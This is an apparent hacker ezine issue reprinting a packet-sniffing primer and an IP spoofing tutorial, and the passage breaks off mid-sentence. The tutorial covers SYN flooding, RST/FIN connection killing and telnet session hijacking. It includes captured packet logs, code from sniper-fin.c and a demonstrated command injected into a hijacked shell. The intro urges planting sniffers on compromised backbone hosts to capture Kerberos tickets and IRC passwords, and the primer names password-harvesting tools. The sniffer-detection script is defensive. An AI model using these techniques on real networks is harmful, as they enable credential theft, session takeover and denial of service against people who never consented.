Read the papers 'things that go bump on the net' and others of that
ilk for a good idea what can happen to a compromised system that has
had a sniffer installed. You can sniff kerberos tickets and setup
irc interception filters to gain access to oper passwords and 'leet
channels among other things by using a sniffer on a well placed
system somewhere on the backbone. Use traceroute to determine where
a likely target is located and start your scan from there.
Here is an excerpt from HiR #8 on packet sniffing, which gives a good
outline of the sniffing concept and includes some code, taken directly
from the Hackers Information Report site and included here for complete
ness. Please check out their site for further great information and a
good news letter archive.
Main site:
http://axon.jccc.net/hir/
This excerpt:
http://axon.jccc.net/hir/articles/hir8/hir8-9.txt
<snip>
HiR 8
-]]])))}}}>>> Packet Sniffing Techniques For The Novice User <<<{{{((([[[-
by Axon
Ahh, the wonderful world of packet sniffing. You may or may not have done
this before...
"Sniffing" is the process of putting your computer's network card into
what's called "promiscuous mode". It will read all packets that it sees
(whereas normally it only reads the packets that have its address on it).
After the card is placed in this mode, a sniffer will track packets
(usually parsing the useful data out of the packet and writing it to a log
file onto the hard disk). This is a really good way of doing a few things
on a network:
o Gathering traffic information, looking for lan stations that are
abusing bandwidth.
o Actually looking at the data inside the packets to see what
files people are downloading with FTP, watching telnet sessions,
and even watching their usernames and passwords.
o Getting a general Idea of where most of the packets are coming
from and going to, as a troubleshooting measure.
There are sniffing programs for almost every platform. My favorite
platform is linux, as it is already my Operating System of choice, and
there are quite a few really easy to use sniffers for it. These include:
tcpdump, sniffit, iptraf, and linsniffer. Those are what I use the most.
My favorite floppy-linux distribution, Trinux, comes with sniffit, iptraf,
and linsniffer. Almost every "big" linux distro (Red Hat, Debian,
Caldera, etc) comes with tcpdump, although you might have to select a
special option to have it installed automatically.
Tcpdump is probably the hardest of the three to learn how to use. It
mostly dumps raw tcp packets out to standard output (or wherever you
redirect it to). It has other options, too, but overall, it's difficult
to use for the beginner. I'll focus more on the other two.
Linsniffer is quite possiby the most evil of the sniffers I've mentioned.
All it does is get passwords. It looks for http passwords, telnet
passwords, ftp passwords, and mail passwords. It does a pretty good job,
but really lacks an "ethical" use. You can get linsniffer (or any of
these sniffers) wherever you can find linux software (places like sunsite,
which is now metalab.unc.edu). All you do is run "linsniffer" as root.
It will not display any output. Everything it finds will be placed in a
file called "tcp.log" in the directory you were in when you started
linsniffer.
Sniffit is extremely cute. It's harder to find passwords with it, but if
your goal has nothing to do with you finding passwords, and more to do
with watching who is connected to what, and maybe even watching the actual
connection, this is for you. With Sniffit, I have many times been
successful in watching the exact telnet screen of people that are on my
segment. You can redirect the sniffed output to another virual console,
and that console becomes the telnet screen of the person whom you are
sniffing. You see what they type, what they get back, you watch them read
their e-mail with pine, as if their ghost was sitting there using your
screen.
Iptraf isn't really a "sniffer" by industry terms, but it still uses
promiscuous mode to operate, Therefore I call it a "sniffer". Iptraf will
break down the traffic stream into chunks for you, so you can see exactly
what kind of packets are being exchanged, how big they are, and where they
are coming from and going to. This proghram is not good for looking at
the actual data inside the packet, but it's great for finding out who is
hogging the bandwidth, and what they're hogging it with.
As far as snifgfing on other platforms... For Windows 95 and 98 There is
also a plugin for the ever-famous back-orifice program that does
sniffing, called "Butt Sniffer". There is also a non-plugin version that
just runs in an MS-Dos window under Windows 95/98. This is probably the
best Windows 9x sniffer I've seen, and it's worth looking into. It's
available through www.cultdeadcow.com under the backorifice page
somewhere. Shoutouts to the author, Mudge (who kicked ass at DefCon) =]
------------------------------------------------------------------------------
So, if it's so easy to just watch what's going on on the local network,
there must be loads of people doing it, right? Well, the paranoid would
say so, but in actuality, there isn't probably a whole lot of it going on.
I'm not saying that there isn't ANY. So if there's even the possibility
that it's there, how would one stay protected from the evils of
sniffing?
Well, the apostols (a spanish hacking group, if memory serves correctly)
has a few really good products. (One being QueSO, a remote tcp/ip
fingerprinter for detecting what OS is being run on a remote machine),
but the one we focus on here is "NEtwork Promiscuous Ethernet Detector"
(or "neped"). It only runs on UNIX/Linux (that I know of. It's not
directly compileable on windows, but I'm not much of a programmer. It
might be easy to do). I Wrote a small shell script that uses neped as a
core to take action when promiscuous mode is detected.
sniffdetect.sh is configureable and can run a shell script or a program
once as soon as sniffing is detected, and will run another program or
script as soon as it sees the sniffing has stopped. It can be used to
stop services on your system, e-mail an administrator, page someone, or
even to shut down the machine (although I don't know why you would want
to do such a thing). I set it up to blast the IP and MAC address of the
sniffing machine to my pager, and to tell me that sniffing has ceased when
it stops detecting the runnuing sniffers (I wrote some paging software
that sends out alpha pages to me from the command line to do this). In
theory, It's very possible to make something that will launch a
counter-attack/Denial of Service against the sniffing machine, but I'm not
really a believer in that method. Here's my shell script.
sniffdetect.sh:
-------------begin-------------------------------------------------------
#!/bin/sh
## Cheap-ass promiscuous mode watcher/action-taker
## Written by axon
##
## Requires "NEtwork Promiscuous Ethernet Detector" (neped.c)
## ftp://apostols.org/AposTools/snapshots/neped/neped.c
##
## This program must be run as root, or neped must be set-uid root.
##
#########################################################################
##
## Config Options!
##
######
# Command or shell script that's run when promisc.
promisccmd="promisc.sh" # mode card is found. This might shut down a
# service, or e-mail an administrator. Up to you.
# (you must write a promisc.sh script or change
# this variable)
# Command or shell script that's run when
nopromisccmd="nopromisc.sh" # promisc. mode ceases. This might page
# an administrator or restart a service.
# (you must write a nopromisc.sh script or
# change this variable)
while true
do
while true
do
# Counts number of lines
neped=`neped eth0 | wc -l` # that are returned
# by neped.
if [ $neped -gt 8 ];then # This runs the command of your
$promisccmd # choice when promisc. mode
break # is detected
neped eth0|grep "*>" >> promisc.log # appends output of neped to promisc.log
fi
done
while true
do
# Counts number of lines
neped=`neped eth0 | wc -l` # that are returned
# by neped.
if [ $neped = 8 ];then # This runs the command of your
$nopromisccmd # choice when promisc. mode
break # ceases
fi
done
done
----------------end sniffdetect.sh------------------------------------------
I hope that this gives you the edge that you need. This was in no way a
very elaborate "sniffing how-to". You can go anywhere to get that sort of
information. This was focused more on how it works, and what tools are
used to do it, and how to protect yourself from the world of packet
sniffers.
<snip>
More info from various sources, to be continued next issue ...
Cruciphux
P.S "Hacking IRC" is still in progress and will also be continued in a
further issue of the zine its not forgotten or dead by any means. - Ed
@HWA
SITE.1 Featured.site.http://www.real-secure.org/ Ezine excerpt: IP Spoofing
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I just stumbled acrosss this site while scanning the new affiliates
list on HNN, its quite good, interesting layout, interesting information
and a little different from the norm...well worth checking out here is a
excerpt from their ezine on IP spoofing, since this ties in nicely with the
"HOW.TO" section i've included the entire section on IP Spoofing from the
zine for a taste of what to expect. Check out the site for more info.
-=[ A short overview of IP spoofing: PART I ]=-
-=[ Part of 'The Packet Project']=-
(Includes Source for Linux 1.3.X and later kernels)
All text and Source code written by Brecht Claerhout (Copyright 1996)
All source tested on Linux kernel 2.0.X
All packet data captured with Sniffit 0.3.2 (a pre-release at that time)
-------------------------------------------------------------------------------
PART I: Simple spoofing (Non blind)
-----------------------------------
0. Introduction
0.1 What
0.2 For whom
0.3 Disclaimer
0.4 Licence
1. Short explanation of some words
2. Description of sourcecode
2.1 Source included
2.2 Programmer notes
3. TCP/IP (UDP) in an hazelnutshell
4. Non-blind spoofing
4.1 Know what you are doing
4.2 SYN flooding
4.3 Connection Killing
4.3.1 Using reset (RST)
4.3.2 Closing a connection (FIN)
4.3.3 Improving
4.4 Connection Hijacking
4.5 Other
5. The source code
-------------------------------------------------------------------------------
PART I: Simple spoofing (Non blind)
------------------------------------------------------------------------------
0. Introduction
---------------
0.1 What
--------
This document describes some IP spoofing attacks and gives you example
source code of the programs used for these attacks (and packet sniffer
logs, so you see what exactly happens).
It also provides you with an easy to use include file for experimenting a
little yourself.
Oh, if you make something nice with the "spoofit.h" file, please mail it to me
(or a reference where it is available) with a little explanation on what it
is (a few lines are enough)...
If you have interesting remarks, comment, idea's, ... please contact me
Brecht Claerhout <Coder@reptile.rug.ac.be>
PoBox 144
9000 Gent 12
Belgium
If YOU think of yourself, you are "3><Tr3/\/\3lY 3Le3T", please don't bother
contacting me.
Flames >/dev/null or >/dev/echo depends on how smart you are.
It is not wise to use what you don't know/understand, so read this before
trying anything... it will only take a few minutes, and probably save you
some hours of failure...
This code is not crippled in the usual way (removing some vital parts),
the power is limited by it's briefness, because I wanted to keep
everything simple and illustrative (but working). It's a simple job to
improve it, and that is the goal of this doc, that you improve it yourself.
Thanks too Wim Vandeputte for spellchecking, and putting up
with my constant nagging about IP during the writing of this sh!t...
0.2 For whom
------------
For people with an elementary knowledge of TCP/IP, some knowledge on C (only
the basic setup) and some general UNIX knowledge.
It's no use reading this document if you are completely unaware of these
things, but mind you, only a little knowledge is enough.
0.3 Disclaimer
--------------
I am in no way responsible for the use of this code. By using this
software and reading this document you accept the fact that any damage
(emotional, physical, dataloss and the end of the world as we know it ...)
caused by the use or storage of these programs/documents is not MY
responsability.
I state that during the writing and testing of this document/source, I
never violated any law. All spoofing was done between machines where I had
legit root access, or where I had the permission from the legit root.
This code can be written by any competent programmer, so this source is
not so harmfull as some will say (cauz' I'm sure some people won't like
this degree of disclosure).
0.4 Licence
-----------
All source code and text is freely available. You can spread it, as long
as you don't charge for it (exceptions are a small reproduction fee, if
it isn't spread together with commercial software, texts.)
You may not spread parts of the document, it should be spread as one
package. You may not modify the text and/or source code.
You can use the spoofit.h or derived code in your own programs as long as
they are not commercial (i.e. FREE), and you give me the credits for it.
1. Short explanation of some words
----------------------------------
This is a short explanation of some words you might see in the
text/source. You probably know all this, but I put it in here anyway.
Sniffit
My favourite Packet Sniffer, all sniffed sequences in this
document where created with it. Sniffit can be obtained from:
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
Off course any other decent sniffer will do (but this one wears my
personal marks and approval).
(At time of writing a pre-release 0.3.2)
IP-spoofing (further referenced to as spoofing)
The forging of IP packets
NOTE that not only IP based protocols are spoofed.
NOTE that spoofing is also used on a constructive base (LAN spoofing,
not discussed here).
NOTE that I don't use it on a constructive base ;)
Non-blind spoofing
Using the spoofing to interfer with a connection that sends packets
along your subnet (so generally one of the 2 hosts involved is located
on your subnet, or all data traffic has to be passing your network
device,... you might consider taking a job at some transatlantic route
provider).
Blind spoofing
Using the spoofing to interfer with a connection (or creating one),
that does not send packets along your cable.
2. Description of sourcecode
----------------------------
2.1 Source included
-------------------
spoofit.h
The include file that provides some easy to use spoofing functions.
To understand the include file and it's functions, read the header of
that file for use of the C functions.
*.c
Example programs (on the use of spoofit.h) that are discussed in this
document.
Details on these programs are included in the appropriate sections.
sniper-rst.c
Basic TCP connection killer.
(denial-of-services)
sniper-fin.c
Basic TCP connection killer.
(denial-of-services)
hijack.c
Simple automated telnet connection hijacker.
2.2 Programmer notes
--------------------
These programs are just examples. That means, they could be improved a
lot. Because I wanted to keep them short and leave some stuff to your
imagination, they are very simple.
However they all work and are a good starting point.
3. TCP/IP (UDP) in an hazelnutshell
-----------------------------------
Because it has been explained enough in 'Phrack Volume Seven, Issue
Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of
documentation available on the subject I will only repeat some things
very briefly. (Please read the phrack #48 file or any other document on
the subject before reading this).
A connection is fully defined with 4 parameters, a source host and port,
and a destination host and port.
When you make a connection, data is send in packets. Packets take care of
low level trafic, and make sure the data arrives (sometimes with special
error handling). The spine of most networks is the IP protocol version 4.
It is totally independent of all hardware protocols.
TCP and UDP are higher level protocols wrapped up in IP packets.
All those packets consist of a header and data.
IP header contains (amongst other things): IP of source and destination
hosts for that packet, and the protocol type of the packet wrapped up in
it. (TCP=6, UDP=17, etc.).
UDP packets contain (amongst other things): port number of source and
destination host. UDP has no such thing as SEQ/ACK, it is a very weak
protocol.
TCP packets contain (amongst other things): port number of source and
destination host, sequence and acknowledge numbers (further refered to as
SEQ/ACK), and a bunch of flags.
SEQ number: is counted byte per byte, and gives you the number of the
NEXT byte to be send, or that is send in this packet.
ACK number: is the SEQ number that is expected from the other host.
SEQ numbers are chosen at connection initiation.
I said is was going to be short... If you didn't understand the above
text, read up on it first, because you won't understand sh!t of the rest.
4. Non-blind spoofing
-----------
----------
4.1 Know what you are doing
---------------------------
The concept of non-blind spoofing (NBS further in this doc) is pretty
simple. Because packets travel within your reach, you can get the current
sequence and acknowledge (SEQ/ACK further in this doc) numbers on the
connection.
NBS is thus a very easy and accurate method of attack, but limited to
connections going over your subnet.
In spoofing documentation these attacks are sometimes ommited, because
they are mostly 'denial-of-service' attacks, or because people don't
realise the advantage a spoof (in particulary a hijack) can have above
simple password sniffing.
Spoofing in generally is refered to as a verry high level of attack. This
refers to blind spoofing (BlS further in this doc), because NBS is
kidstuff for a competent coder.
4.2 SYN flooding
----------------
Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of
18'. I won't waste much time on it.
Setup:
host A <-----][----------X--------------->host B
|
host S <-----------------/
Concept:
Host S impersonates SYN (connection init) coming from host A, to host B.
Host A should be unreachable (e.g. turned off, non existant,...).
B sends out the second packet of the 3 way TCP handshake. Host B will now
wait for response of host A.
If host A is reachable it will tell host B (with a reset: RST) that it DID NOT
inititate a connection, and thus host B received a bogus packet. (In that case
host B will ingnore the SYN, and *normally* nothing will happen)
So if A is unreachable, B will wait for response some time.
When doing multiple attacks, the backlog of host B is going to be exceeded
and host B will not except new connections (read on TCP bugs for
additional features ;) for some time.
4.3 Connection Killing
----------------------
Setup:
host A <------X------------------------->host B
| A,B have a TCP connection running
host S <------/ A,S on same subnet
(setup is the same in both cases)
Use:
Clearing mudders of your net, annoying that dude typing an important
paper, etc... plain fun.
4.3.1 Using reset (RST)
-----------------------
Concept:
TCP packets have flags which indicate the status of the packet, like RST.
That is a flag used to reset a connection. To be accepted, only the
sequence number has to be correct (there is no ACK in a RST packet).
So we are going to wait for packets in a connection between A and B.
Assume we wait for packets to A. We will calculate (from B's packets)
the sequence number for A's packets (from B's ACK's), and fire a bogus RST
packet from S (faking to be A) to B.
An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)
(This is a good example of how things not always go as you want, see
below for a solution)
1) connection running...
we wait for a packet to get current SEQ/ACK (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679
FLAGS: -AP--- Window: 3400
(data removed because irrelevant, 2 bytes data)
2) This is the ACK of it + included data (witch causes SEQ number to
change, and thus messing up our scheme, because this came very fast.)
(B->A)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(data removed because irrelevant, 2 bytes data)
3) ACK of it. (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B
FLAGS: -A---- Window: 3400
(data removed because irrelevant)
4) further data (B->A)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD767B ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(data removed because irrelevant)
5) ACK of it (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691
FLAGS: -A---- Window: 3400
6) Now we get 2 RST packets. How do you explain that? Well, the first reset
packet has been buffered somewhere on our system, because the ethernet
segment was busy when we wanted to send it. This is the 'unexpected
thing' I discussed above, here we are lucky, the data stream cooled down
so fast.
When it doesn't cool down so fast, we could miss our RST (or the
connection will be killed a little later then when we wanted), you'll see
some idea's on how to fix that problem.
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 FLAGS: ---R--
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7691 FLAGS: ---R--
(This was the packet that killed the connection)
Discussion of the program:
The discussion here is a bit weird , that is because 'sniper-rst.c' is
not designed to be an optimal killer, merly to be an example.
We have the problem of speed here. We miss some packets what causes those
resends. So we would design a better 'sniper' if we do the following:
- use blocking IO (not necessarilly, because the RST killer would
loose some of it's beauty (looping), this is dealt
with in the FIN killer example. Blocking is a
little faster when a lot of packets come after
each other.)
- multi-packet firing... fire more packets with incremented SEQ.
(this is commented in the source)
- waiting for a pure ACK packet (no data), because otherwise you
risk to much of getting mid transmission and not being fast enough.
(disadvantage is the 'waiting period' before the connection is
killed)
NOTE these examples were done on non-loaded networks, with non-loaded
servers, what makes it a worst case scenario for speed problems.
4.3.2 Closing a connection (FIN)
--------------------------------
Concept:
An other flag is FIN and says: "no more data from sender".
This flag is used when closing a connection down the normal legit way. So
if there was a way to make a packet that is accepted by one of the two
hosts, this host would believe the 'sender' didn't have any data left.
Following (real) packets would be ignored as they are considered bogus.
That's it, because we can sniff the current SEQ/ACK of the connection we
can pretend to be either host A or B, and provide the other host with
CORRECT packetinformation, and an evil FIN flag.
The beauty of it all is, that after a FIN is send the other host always
replies with one if it is accepted, so we have a way to verify our
killing, and can be 100% sure of success (if for some reason we missed a
SEQ or ACK, we can just resend).
RST killing is more popular and is prefered, but I've put this in as an
example, and I like it myself.
An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)
1) connection is running....
sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072'
and waits for a packet to take action (we need to get SEQ/ACK)
(mind you switching host A and B would be the same, only S would be
impersonating A instead of B)
suddenly a packet arrives... (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98B ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E >
50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
~~~~~~~~~ > 2 data bytes
2) sniper detected it, and sends a bogus packet. (S as B -> A)
We calculate our SEQ as: ACK of (A->B) packet
We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet
(19C6B98B + 2 = 19C6B98D)
(so we tell A, we received the last packet, and will not transmit
further data)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---F Window: 7C00
(data removed because irrelevant)
3) host A now says: 'okay, you end the session, so here is my last data'
(A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---- Window: 3400
(data removed because irrelevant)
4) host A now has flushed its buffer and on his turn FIN's the connection.
(A->B)
sniper, intercepts this packet and now knows the hosts fell for the
spoof and the killing was a success!
(host A will no longer accept any data)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---F Window: 3400
(data removed because irrelevant)
5) We impersonated B, making A believe we had no further data. But B
doesn't know that and continues to send packets.
(B->A)
host A has that connection closed, and thus thinks the real packets of
B are spoofed (or at least bogus)! So host A sends some reset packets
(RST).
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---- Window: 3750
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D FLAGS: ---R--
(data removed because irrelevant)
6) This goes on for a couple of packets.
Discussion of the program (numbers correspond with those of 'An Actual
Attack'):
1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
We use wait_packet on a non blocking socket. This way we can enable a
10 seconds timeout. This functions returns when the correct packet
has been delivered (or timeout).
2) sp_seq=pinfo.ack;
sp_ack=pinfo.seq+pinfo.datalen;
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
sp_seq,sp_ack,ACK|FIN);
We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we
don't send any data with it, our buffer is set to NULL and datalength
to 0.
NOTE together with FIN, you need to enable ACK.
3) N/A
4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
if(stat>=0)
{printf("Killed the connection...\n");
exit(0);}
We wait for a FIN packet (note the FIN in wait_packet). We use a 5
sec. timeout, if the function returns and stat>=0 (-1 on timeout), we
know our attempt was successfull.
5) N/A
6) N/A
NOTE We can have the same problem here as with the RST killer. But didn't
have it here, because the packet we responded upon was the end of a
data stream (in fact it was an echo from a shell command)
4.3.3 Improving
---------------
Except from multipacket firing, it is advised to launch 2 attacks (one in
both ways). This illiminates one side oriented connections to be handled
optimally. I think of things like downloading data, which is a one way
data-flow, it is much easier sending a RST from the (spoofed) receiver to
the sender, then the other way around.
Those 2 attacks could both impersonate host A and B, and thus giving is 4
times more chance of a succesfull kill.
I'll leave further experimenting up to you (use your imagination to handle
different situations).
4.4 Connection Hijacking
------------------------
Setup:
host A <------X------------------------->host B
| A,B have a TCP connection running (TELNET)
host S <------/ A,S on same subnet
Concept:
(suppose a TELNET from A (client) to B (server))
TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B
trusts the packets from A because of its correct SEQ/ACK numbers.
So if there was a way to mess up A's SEQ/ACK, B would stop believing A's
real packets.
We could then impersonate to be A, but using correct SEQ/ACK numbers
(that is numbers correct for B).
We would now have taken over the connection (host A is confused, B thinks
nothings wrong (almost correct, see 'actual attack'), and S sends
'correct' data to B).
This is called 'Hijacking' a connection. (generally hijacking a TELNET session,
but same could be done woth FTP, RLOGIN, etc...)
How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data
packet into the stream at the right time (S as A->B), the server B would
accept this data, and update ACK numbers, A would continue to send
it's old SEQ numbers, as it's unaware of our spoofed data.
Use:
I allready hear you wiseguys yelling: "Hey dude, why hijack a connection
if you can sniff those packets anyway??"
Well, anybody heared of One Time Passwords, Secure Key?? Case closed....
(S/Key: server challenges client, client and server calculate a code from
the challenge and password, and compare that code. The password itself is
never send on the cable, so you can't sniff sh!t).
(OTP: server has a list of passwords, once one is used, it is destroyed,
so sniffing gets you a password that has 'just' expired ;)
(ALL types of identification that happen at connection (encrypted or not,
trusted or not), and don't use encrypted data transfer, are vulnerable to
'hijacking'.)
An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
(suppose a TELNET from A (client) to B (server))
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)
1) connection running...
we look with sniffit, and see he's busy in a shell, we start 'hijack'
on host S as 'hijack 166.66.66.1 2035 111.11.11.11'
a packet containing from (A->B) is detected... hijack takes action...
(A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EA ACK (hex): C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 .
50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l
~~~~
2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!)
(you gotta know what you are doing)
(B->A)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A67F6 ACK (hex): 5C8223EB
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B .
9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB .
50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l
~~~~
3) A simple ACK from host A to B responding to that echo. Because we know
this can come, and we know a simple ACK doesn't contain data, we don't
need this for SEQ/ACK calculation.
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -A---- Window: 7C00
(data removed because irrelevant)
4) Now we impersonate further data (following packet 1). (S as A -> B)
We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B,
because we have to be as fast as possible, and packet 2 could be slow.
We send some backspaces and some enters. To clean up the command line.
We will probably still get some error message back from the shell.
But we handle that too! (see sourcecode)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 .
50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 .
0A . 0A .
5) This is the echo of our spoofed data. Look at ACK. (B->A)
5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a
success)
NOTE that at this point the connection is ours, and A's SEQ/ACK
numbers are completely f#cked up according to B.
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A67F7 ACK (hex): 5C8223F5
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B .
9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 .
50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H
5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A .
6) Hijack will now try to get on track of SEQ/ACK numbers again, to send
the data we want to be executed.
NOTE each time a packet 'out of numbering' arrives the host should
answer with correct SEQ/ACK, this provides us with the certainty
that a lot of packets are going to be send with correct (and not
changing) SEQ/ACK nrs. (this is where the mechanism of getting our
numbers back straight is based upon)
NOTE it's at this point the real TELNET client's session hangs, most
people ignore this and re-login after a few secs, accepting the
accident as Murphy's law.
(Well it *can* happen without any spoofing involved)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -AP--- Window: 7C00
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C8223F5
FLAGS: -A---- Window: 2238
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -AP--- Window: 7C00
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C8223F5
FLAGS: -A---- Window: 2238
(data removed because irrelevant)
7) We are back on track (or at least hijack is, because this is going
very fast). And we fire off our faked bash command.
echo "echo HACKED" >> $HOME/.profile<ENTER>
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223F5 ACK (hex): C34A680B
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23
45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B .
50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c
68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E > 3E > 24 $ 48 H 4F O
4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 .
8) now we wait for this data to be confirmed.
ACK = 5C8223F5 + 025 (=37 bytes)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C82241A
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040
(data removed because irrelevant)
9) The connection runs on. Now you can execute more commands (just stay
